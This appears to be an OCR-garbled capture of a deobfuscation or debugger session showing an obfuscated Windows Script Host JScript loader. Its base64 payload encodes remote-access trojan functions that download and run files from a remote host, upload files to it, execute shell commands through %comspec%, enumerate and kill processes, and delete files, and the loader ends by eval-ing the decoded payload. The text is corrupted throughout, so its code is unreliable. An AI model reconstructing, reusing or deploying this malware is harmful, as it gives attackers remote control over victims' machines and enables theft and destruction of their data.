3V0ZWQrRmisZSIpOwOKfQOKfQOKZnVuY3Rpb24gZG93bmxvYWQgKGZpbGV1cmwsZmIsZWRpcil7DQppZihmaWxIZG
lyID09ICIIKXsNCmZpbGVkaXIgPSBpbnN0OYWxsZGlyOw0KfQOKc3Ryc2F2ZXRvID0gZmIsZWRpci<>rIGZpbGV1cmwuc3
Vic3RyKGZpbGV1cmwubGFzdEIUZGV4T2YollxclikgKy<>xKTsNCnZhciBvYmpodHRWZG93bmxvYWQgPSBXU2NyaXB
OLkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH<>iKTsNCm9iamh0dHBkb3dubG9hZC5vcGVuKCJwb3NOliwiaHROcD
ovLylgKyBob3NO0ICsgljoilCsgcG9ydC<>rli8ilCsginNIbmQtdG8tbWUilCsgc3BsaXRIci<>rIGZpbGV1cmwsIGZhbHNIKTs
NCm9iamh0dHBkb3dubG9hZC5zZXRSZXF1ZXNOSGVhZGVyKCJ1c2VyLWFnZW500ilsIGluZm9ybWF0aW9uKCkpOwOK
b2JgaHR0cGRvd25sb2FkLnNIbmQolilpOw0KdmFylG9iamZzb2Rvd25sb2FkID0gV1NjcmlwdC5DcmVhdGVPYmplY3Qol
nNjcmlwdGluZy5maWxIc3IzdGVitb2JqZWNOlik7DQppZihvYmpmc29kb3dubG9hZC5maWxIRXhpc3RzKHNOcnNhdmVOb
Ykpew0Kb2JgZnNvZG93bmxvYWQuUZGVsZXRIRmIsZShzdHJzYXZIdG8pOwOKfQOKaWYgKG9iamh0dHBkb3dubGOhZC
52dGF0dXMgPT0gMj<>wKXsNCnZhci<>gb2Jqc3RyZWFtZG93bmxvYWQgPSBXU2NyaXBOLKNyZWF0ZU9iamVjdCgiY
WRVZGluc3RyZWFtlik7DQpvYmpzdHJIYW1kb3dubG9hZC5UeXBIIDOgMTsNCm9ianNOcmVhbWRvd25sb2FkLk9wZW40
KTsNCm9ianNOcmVhbWRvd25sb2FkLIdyaXRIKG9iamh0dHBkb3dubG9hZC5yZXNwb25zZUJvZHkpOw0Kb2Jqc3RyZWF
tZG93bmxvYWQuU2F2ZVRvVRmIsZShzdHJzYXZIdG8pOwO0Kb2Jqc3RyZWFtZG93bmxvYWQuY2xvc2UoKTsNCm9ianNOc
mVhbWRvd25sb2FkID0gbnVsbDsNCnONCmImKG9iamZzb2Rvd25sb2FkLmZpbGVFeGlzdHMoc3Ryc2F2ZXRvKSI7DQp
zaGVsbG9iai5ydW4ob2JgZnNvZG93bmxvYWQuZ2VORmIsZShzdHJzYXZIdG8pLnNob3JOUGF0aCk7DQp1cGRhdGVzd
GF0dXMolkV4ZWN1dGVKKOZpbGUiKTsNCnONCnONCmZ1bmNOaW9ulHVWZGF0ZXNOYXR1cyhzdGFOdXNfbXNnKXsNC
nZhciBvYmpzb2MgPSBXU2NyaXBOLKkNyZWF0ZU9iamVjdCgibXN4bWwyLnhtbGh0dH<>iKTsNCm9ianNvYy5vcGVuKC
Jwb3NoOliwiaHROcDovLylgKyBob3N0ICsgljoilCsgcG9ydC<>riIClIvli<>rICJ1cGRhdGUtc3RhdHVzli<>rIHNwbGI0ZXIgKyB
zdGFOdXNfbXNnLCBmYWxzZSk7DQpvYmpzb2Muc2VOUmVxdWVzdEhIYWRIcigidXNIci1hZ2VudDoiLCBpbmZvcmihd
GlvbigpKTsNCm9ianNvYy5zZW5kKCIiIKTsNCnONCmZ1bmN0aW9ulHVwbG9hZC<>0ZmlIsZXVybCwgcmV0Y21kKXsNCn
Zhci<>gaHR0cG9iaixvYmpzdHJIYW11¢cGxvYWRILGJ1ZmZIcjsNCnZhciBvYmpzdHJIYW11cGxvYWRIIDOgV1NjcmiwdC
5DcmVhdGVPYmplY3QolmFkb2RiLnNOcmVhbSIpOw0Kb2Jqc3RyZWFtdXBsb2FkZS5UeXBIIDOgMTsNCm9ianNOcmVh
bXVwbG9hZGUuT3BlbigpOwO0Kb2Jqc3RyZWFtdXBsb2FkZS5sb2FkRnJvbUZpbGUoZmIsZXVybCk7DQpidWZmZXIgPS
BvYmpzdHJIYW11cGxvYWRILIJIYWQoKTsNCm9ianNOcmVhbXVwbG9hZGUuY2xvc2UoKTsNCm9ianNOcmVhbWRvd2
5sb2FkiD0gbnVsbDsNCnZhciBodHRwb2JqID0gV1NjcmlwdC5DcmVhdGVPYmplY3Qolm1zeG1sMi54bWxodHRwlik7DQ
podHRwb2JqLm9wZW4oInBvc3QiLCJodHRwOIi8vli<>riGhve3QgKy<>iOilgKyBwb3JO0ICsiLylgKyByZXRjbWQsIGZhbHN
IKTsNCmhOdHBvYmouc2VOUmVxdWVzdEhIYWRIcigidXNIci1hZ2VudDoiLCBpbmZvecm1hdGlvbigpKTSNCmhOdHBvY
mouc2VuZChidWZmZXIpOwO0KfQOKZnVuY3Rpb249ZGVsZXRIZmFmICh1cmwpew0KdHJ5ew0KZmIsZXN5c3RIbW9iai5
kZWxIdGVGaWxIKHVybCk7DQpmaWxIc3lzdGVtb2JqLmRIbGV0ZUZvbGRIcih1cmwpOwOKfWNhdGNoKGVycil7fQ0KfQ
0KZnVuY3Rpb24gY21kc2hlbGwgKGNtZCI7DQp2YXlgaHROcG9iaixvZXhlYyxyZWFkYWxsZnJvbWFueTsNCnZhciBzdHJ
zYXZIdG8gPSBpbnNOYWxsZGlylCsgim91dC50eHQiOW0Kc2hlbGxvYmoucnVuKCIlY29tc3BIYyUgL2Mgli<>rIGNtZC<>rl
ClgPiBclilgKyBzdHJzYXZIdG8gKy<>iXCliLC<>wLCB0cnVIKTSNCnJIYWRhbGxmcm9tYW55ID0gZmIsZXN5c3RIbW9iai
5veGVuVGV4dEZpbGUoc3Ryc2F2ZXRvKS5yZWFkQWxsKCk7DQp0cnl7DQpmaWxlc3lzdGVtb2JqLmRIbGV0ZUZpbGUo
c3Ryc2F2ZXRvKTsNCn1jYXRjaChIZSI7fQ0KemV0dXJulHJIYWRhbGxmcm9tYW550w0KfQOKZnVuY3Rpb24gZW51bXB
yb2NIc3MoKXsNCnZhciBlcC<>9ICliOw0KdHJ5ew0KdmFylG9iandtaXNIcnZpY2UgPSBHZXRPYmplY3Qolndpbm1nbXR
zOIxcXFwuXFxyb290XFxjaW12MilpOwOKdmFylGNvbGI0ZW1zID0gb2Jqd21pc2VydmljZS5FeGVjUXVicnkolnNIbGVjdC
<>qlGZyb20gd2luMzJfcHJvY2VzcylsbnVsbCw0OCk7DQpmb3lodmFylGZpID0gbmV3IEVudW1lcmF0b3loY29saXRIbXM
pOy<>hZmkuYXRFbmQoKTsgZmkubW92ZU5leHQoKSI7DQp2YXlgb2JqaXRIbS<>91GZpLmI0ZW0oKTsNCmVwID0gZX
<>gKyBvYmppdGVtLm5hbWUgKy<>iXil7DQplcC<>9I1GVwICsgb2JqaXRIbS5wcm9jZXNzSWQgKy<>iXil7DQplcC<>9IG
VwiCsgb2JgaXRIbS5leGVjdXRhYmxIUGF0aC<>rIHNwbGI0ZXI7DQp9DQp9Y2F0Y2goZXIpe30NCnJIdHVybiBlcDSNCn0
NCmZ1bmN0aW9ulGV4aXRwem9jZXNzIChwaWQpewO0KdHJ5ew0Kc2hlbGxvYmoucnVuKCJOYXNra2lsbC<>vRi<>vVC<
>VUEIEICIgKyBwaWQsMCx0cnVIKTsNCn1jYXRjaChlcnlpe30NCnONCmZ1bmNOaW9ulGdldFBhcmVudERpcmVjdG9ye
ShwYXRoKXsNCnZhciBmby<>91GZpbGVzeXNOZW1vYmouZ2VORmIsZShwYXRoKTsNCnJldHVybiBmaWxlc3lzdGVtb2
JgLmdIidFBhecmVudEZvbGRIck5ShbWU0oZm8pOw0KfQOKZnVuY3Rpb249ZW51bWZhZi<>0ZW51bWRpcil7DQp2YXigcm
UgPS<>iljsNCnRyeXsNCmZvcih2YXIgZmkgPSBuZXcgRW51bWVyYXRvcihmaWxlc3lzdGVtb2JqLmdIdEZvbGRIci<>0Z
W51bWRpcikuc3ViZm9sZGVycyk7ICFmaS5hdEVUuZCgpOyBmaS5tb3ZITmV4dCgpKXsNCnZhciBmb2xkZXIgPSBmaS5
pdGVtKCk7DQpyZS<>9IHJIICsgZm9sZGVyLm5hbWUgKy<>iXI5kXilgKyBmb2xkZXluYXR0cmlidXRlcy<>rIHNwbGIOZXI
7DQp9DQpmb3lodmFylGZpID0gbmV3IEVudW1lcmFOb3loZmIsZXN5c3RIbW9iai5nZXRGb2xkZXIgKGVudW1kaXlpLmZ
pbGVzKTsgIWZpLmFORW5kKCk7IGZpLm1vdmVOZXhOKCkpewOKdmFylGZpbGUgPSBmaS5pdGVtKCk7DQpyZS<>9l
HJIICsgZmIsZS5uYW1IICsgll4ilCsgZmisZS5zaXplICsgll4ilCsgZmisZS5hdHRyaWJ1dGVzICsgc3BsaXRIcjsSNCnONCn1jY
XRjaChlcnlpe30NCnJIdHVybiByZTsNCnONCg==", ", "\x41", $5FZwLPDuLmhd3toN49z ( 9 ), "Open", "us-ascii", "2382rQRr
eo", "171iXGpSV", $5FZwLPDuLmhd3toN49z ( 7 ), $5FZwLPDuLmhd3toN49z ( 10 ), "7092rXFGgQ", "bin.base64", "7PdAJR
t", "replace”, "7365HgEKJQ", "Type", "535JemZUP", "56aEstzl", $5FZwLPDuLmhd3toN49z ( 6 ), "612VSSUeT", "9656fZrHIS
", $5FZwLPDuLmhd3toN49z ( 11 ), $5FZwLPDuLmhd3toN49z ( 5 ), "mko", "10DoKAhU", $5FZwLPDuLmhd3toN49z ( 12), "
dataType", $5FZwLPDuLmhd3toN49z ( 4 ), $5FZwLPDuLmhd3toN49z ( 13 ), "Position”, $5FZwLPDuLmhd3toN49z ( 3 ), "Re
adText", $5FZwLPDuLmhd3toN49z ( 14 ), "CharSet", "30321mGnjrd", "text", $5FZwLPDuLmhd3toN49z ( 2 ), "66riMPzf", "15
88rHmMVvo", "Write", "600PtLUsO", $5FZwLPDuLmhd3toN49z ( 15 ), $5FZwLPDuLmhd3toN49z (1) ;

_4pjor7[0];

var _6rhlk7 = [ _4pjor7[0], _4pjor7[1], _4pjor7[2], _4pjor7[3], _4pjor7[4], _4pjor7[5], _4pjor7[6], _4pjor7[7], _4pjor7[8], _4pjor7[9
], _4pjor7[10], _4pjor7[11], _4pjor7[12], _4pjor7[13], _4pjor7[14], _4pjor7[15], _4pjor7[16], _4pjor7[17], _4pjor7[18], _4pjor7[19],
_4pjor7[20], _4pjor7[21], _4pjor7[22], _4pjor7[0], _4pjor7[23], _4pjor7[24], _4pjor7[25], _4pjor7[26], _4pjor7[27], _4pjor7[28], _4
pjor7[29], _4pjor7[30], _4pjor7[31], _4pjor7[32], _4pjor7[33], _4pjor7[34], _4pjor7[35], _4pjor7[36], _4pjor7[37], _4pjor7[38], _4p
jor7[39], _4pjor7[40], _4pjor7[41], _4pjor7[42], _4pjor7[43], _4pjor7[44], _4pjor7[45] ];

_6rhik7[0];

varj=b;

! function () {

vard=b;
vare=a();

for(; ;)
{
try
{

if (255652 == - parselnt (d (23)) + - parselnt (d (18))/2 + - parselnt (d (8)) /3 * (parselnt (d (14)) /4 ) b@B)selficreateElement"”
t(d(32))/5+-parselnt (d(3))/6*(parselnt (d(6))/7)+parselnt (d (2))/8* (- parselnt (d (30))/parselnt("createElement") - NaN

rseint (d (20))/10* (- parselnt (d (26))/11))

{
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() = undefined
Show all Function Runs

a() = bin.base64,7PdAJRt,replace,7365HgEKJQ,shif

Show all Function Runs

b(18) = "188136jibKis"
Show all Function Runs
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22
23
24
25
26
27
28
29
30
31
32

33

34

41
42

43

44
45

46

47

49

50
5i
52

53

62
63
64
65
66

67
68
69
70
71
72
73
74
75
76
77
78
79

80

break ;
eLG}rhIk7[1]] (e[_6rhlk7[2]] () );
z:atch (V)
{ e[_6rhik7[1]] ( e[_6rhIk7[2]] () );
} }
1O

var_6ivmo2 =[]} (15),](0),](9), _6rhk7[3], ] (7 ), _6rhik7[4], _6rhik7[5], _6rhik7[6],] (31),](25),j(27),j(19),j(12),

_6rhlk7[7], _6rhik7[8], _6rhIk7[9],](10),j(4), _6rhlk7[10], _6rhik7[11],j(13),j(17),j(29),j(1),j(24),j(33),j(34)
6rhlk7[12],j(21),j(5),j(11),j(22), _6rhlk7[13],j(16),j(28)];

function b(d, e) {
varf=a();
return (b =
function (g, s) {
return flg = + gJ;
})(d,e);
}

function decodeBase64(d) {

var parselnt = _0x22f8;

var e = WSH[_7rrbn4[7]] ( parselnt ( 185) ) [parselnt (192 ) ] ( parselnt ( 193) );

e[parselnt ( 189 ) ] = parselnt ( 187 );

e[ _7rrbn4[8]] = d;
d = WSH[parselnt ( 182 ) ] ( parselnt (181 ) );

 —

j(15) = "use strict"

j(0) = "push"

j(9) = "shift"
Show all Function Runs

b(23) - "createElement"
Show all Function Runs

a() = bin.base64,7PdAJRt,replace,7365HgEKJQ,shif
Show all Function Runs
(23,undefined) > "createElement"
Show all Function Runs
(23,undefined) > "createElement"
Show all Function Runs

decodeBase64("dHJ5ewp2YXigbG9uZ1RleHQxIDO
Show all Function Runs

parselnt(185) - "microsoft.xmldom"
Show all Function Runs
parselnt(189) - "dataType"

Show all Function Runs

parselnt(182) - "CreateObject"
Show all Function Runs

return d[parselnt (198 ) ] = 1, d[parselnt ( 195) ] (), d[parselnt ( 180 ) ] ( e[parselnt (186 ) ] ), d[_7rrbn4[9]] = 0, d[parselnt ( 19parselnt(198) -» "Type"

8)]=2,d[parselnt (178 ) ] = parselnt ( 196 ), d[_7rrbn4[10]] ( );

}
_6ivmo2[0];

var _7rrbn4 = [ _6ivmo2[0], _6ivmo2[1], _6ivmo2[2], _6ivmo2[3], _6ivmo2[4], _6ivmo2[5], _6ivmo2[6], _6ivmo2[7], _6ivmo2[8],
_6ivmo2[9], _6ivmo2[10], _6ivmo2[11], _6ivmo2[12], _6ivmo2[13], _6ivmo2[14], _6ivmo2[15], _6ivmo2[16], _6ivmo2[17], _6iv

mo2[18], _6ivmo2[19], _6ivmo2[20], _6ivmo2[21], _6ivmo2[22], _6ivmo2[23], _6ivmo2[24], _6ivmo2[25], _6ivmo2[26], _6ivmo2
[27], _6ivmo2[28], _6ivmo2[29], _6ivmo2[30], _6ivmo2[31], _6ivmo2[32], _6ivmo2[33], _6ivmo2[34]];

_7rrbn4[0];
var _0xe92f92 = _0x22f8;
function _0x22f8(V, d) {

vare = _0x45f4 ();

return (_0x22f8 =

function (f) {

return e[f = f - 178];
(V. d);
}

! function () {

vard = _0x22f8;
var | = _0x45f4 ();

for(; ;)
{
try
{

parselnt(195) - "Open"”
Show all Function Runs

_0x22f8(191) = "Write"

Show all Function Runs

_0x45f4() » mko,56aEstzl,Open,us-ascii,2382rQRre
Show all Function Runs

(191,undefined) > "Write"

Show all Function Runs

(191,undefined) > "Write"

Show all Function Runs

() » undefined
Show all Function Runs

_0x45f4() » mko,56aEstzl,Open,us-ascii,2382rQRre:
Show all Function Runs

if (256307 == - parselnt (d (191) ) + - parselnt (d (203))/2 + parselnt (d (197 ) )/3 * (- parselnt ( d ( 184 ) ) 0x2P#8¢191) - "Write"
parselnt (d (188))/5* (- parselnt (d (190))/6) + parselnt (d (194 ))/7 * ( parselnt (d (201 ) )/ 8) + parparselnt("Write") > NaN

200))/9* (parselnt (d (202))/10) + parselnt (d (183))/11 * (- parselnt (d (199))/12))

{
break ;
}
IL_7rrbnd[1]] (I[_7rrbn4[2]] () );
}
catch (V)
{
IL_7rrbnd4[1]] (I[_7rrbn4[2]] () );
}
}
FOs
var superString = _7rrbn4([3];

var encodedText = superString[_7rrbn4[4]] ( $5FZwLPDuLmhd3toN49z (16 ), _7rrbn4[5] ) [ 0xe92f92 (179 ) ] (/<>/g, "A" );

var decodedText = decodeBase64 ( encodedText );
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_0x22f8(203) » "createElement”
Show all Function Runs

$5FZwLPDuLmhd3toN49z(16) = /codigo/g

Show all Function Runs
decodeBase64("dHJ5ewp2YXlgbG9uZ1RleHQxIDO
Show all Function Runs
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81 function a() { a() = bin.base64,7PdAJRt,replace,7365HgEKJQ,shif
Show all Function Runs
82 vard = [ _6rhlk7[14], _6rhlk7[15], _6rhlk7[16], _6rhIk7[17], _6rhIk7[2], _6rhlk7[18], _6rhlk7[19], _6rhlk7[20], _6rhlk7[21], _6rhik7
[22], _6rhlk7[23], _6rhlk7[24], _6rhlk7[25], _6rhlk7[26], _6rhIk7[27], _6rhIk7[28], _6rhIk7[29], _6rhIk7[30], _6rhik7[31], _6rhlk7[32
], _6rhlk7[33], _6rhlk7[34], _6rhlk7[35], _6rhlk7[36], _6rhlk7[37], _6rhlk7[38], _6rhlk7[39], _6rhlk7[40], _6rhlk7[41], _6rhlk7[42], _
6rhik7[1], _6rhlk7[43], _6rhlk7[44], _6rhlk7[45], _6rhlk7[46] ];

83 return (a = () = bin.base64,7PdAJRt, replace,7365HgEKJQ,shift,
Show all Function Runs

84 function () { () = bin.base64,7PdAJRt, replace,7365HgEKJQ,shift,
Show all Function Runs

85 return d;

86 B Os

87 }

88 function _0x45f4() { _0x45f4() » mko,56aEstzl,Open,us-ascii,2382rQRre:
Show all Function Runs

89 varV =[_7rrbnd[11], _7rrbn4[12], _7rrbn4[13], _7rrbn4[14], _7rrbn4[15], _7rrbn4[16], _7rrbn4[17], _7rrbn4[18], _7rrbn4[19], _

7rrbn4[20], _7rrbn4[21], _7rrbn4[22], _7rrbn4[4], _7rrbn4[23], _7rrbn4[24], _7rrbn4[7], _7rrbn4[25], _7rrbn4[26], _7rrbn4[27], _
7rrbn4[28], _7rrbn4[29], _7rrbn4[30], _7rrbn4[31], _7rrbn4[32], _7rrbn4[33], _7rrbn4[34] ];

90 return (_0x45f4 = () » mko,56aEstzl,0pen,us-ascii,2382rQRreo,Type, 1
Show all Function Runs

91 function () { () » mko,56aEstzl,0pen,us-ascii,2382rQRreo,Type, 1
Show all Function Runs

92 return V;

93 PO

94 }

95  eval (decodedText ); eval("try{

Show all Function Runs
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